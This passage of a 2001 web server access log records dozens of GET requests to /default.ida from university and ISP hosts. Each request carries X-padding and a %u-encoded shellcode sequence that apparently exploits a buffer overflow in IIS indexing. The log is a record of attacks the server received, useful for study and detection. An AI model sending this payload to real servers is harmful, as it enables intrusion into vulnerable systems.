  1525. 20010913 14:41:17: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1526. 20010913 15:23:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1527. 20010913 15:40:07: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1528. 20010913 16:30:00: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1529. 20010913 17:39:14: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1530. 20010913 18:16:40: adsl-65-65-238-66.dsl.spfdmo.swbell.net [65.65.238.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1531. 20010913 22:14:48: pkf19.eastnet.gatech.edu [128.61.105.83] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1532. 20010914 01:52:56:  [209.208.184.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1533. 20010914 11:22:59:  [211.113.140.50] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1534. 20010914 13:44:02:  [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1535. 20010914 13:53:17:  [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1536. 20010914 13:58:11: bus84-203.gsb.columbia.edu [128.59.84.203] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1537. 20010914 14:24:08:  [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1538. 20010914 14:56:23: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1539. 20010914 15:02:20: D-128-95-43-193.dhcp.washington.edu [128.95.43.193] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1540. 20010914 15:42:12: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1541. 20010914 16:35:27: dialup-ccts6-60.dyn.columbia.edu [128.59.4.62] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1542. 20010914 17:53:03: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1543. 20010914 18:42:34: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1544. 20010914 18:48:13:  [209.208.184.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1545. 20010914 20:18:15: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1546. 20010914 20:25:00: dialup-1-21.cc.columbia.edu [128.59.42.30] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1547. 20010914 22:14:04: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1548. 20010914 22:27:10:  [61.178.120.41] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1549. 20010914 23:21:22: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1550. 20010914 23:39:00: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1551. 20010914 23:53:39: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1552. 20010915 01:04:52: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1553. 20010915 01:23:06: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1554. 20010915 01:48:03: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1555. 20010915 02:00:38: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1556. 20010915 02:00:39: 200-184-28-18.intelignet.com.br [200.184.28.18] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1557. 20010915 02:54:42: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1558. 20010915 03:23:54:  [218.2.150.5] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1559. 20010915 04:03:40: AVelizy-101-1-1-153.abo.wanadoo.fr [193.251.75.153] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1560. 20010915 04:35:15: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1561. 20010915 07:15:49: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1562. 20010915 08:36:07: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1563. 20010915 08:38:35: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
